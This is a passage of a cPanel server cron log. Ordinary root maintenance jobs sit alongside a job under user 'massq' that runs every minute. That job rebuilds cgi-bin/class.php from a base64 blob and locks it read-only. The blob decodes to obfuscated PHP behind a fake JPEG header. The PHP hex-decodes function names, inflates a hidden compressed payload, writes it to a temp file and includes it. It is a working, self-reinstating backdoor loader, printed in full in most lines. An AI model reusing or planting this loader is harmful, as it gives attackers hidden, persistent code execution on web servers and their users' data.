OyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:23:01 server CROND[32201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:24:01 server CROND[32366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:25:01 server CROND[32432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:25:01 server CROND[32433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:25:01 server CROND[32434]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 20:25:01 server CROND[32435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:26:01 server CROND[32555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:27:01 server CROND[32623]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 20:27:01 server CROND[32625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:28:01 server CROND[32688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:29:01 server CROND[32752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:30:01 server CROND[465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:30:01 server CROND[467]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:30:01 server CROND[469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 20:30:01 server CROND[468]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 10 20:30:01 server CROND[470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:31:01 server CROND[589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:32:01 server CROND[665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:33:01 server CROND[735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:34:01 server CROND[814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 20:35:01 server CROND[979]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 20:35:01 server CROND[980]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 20:35:01 server CROND[981]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 20:35:01 server CROND[982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 20:35:01 server CROND[986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
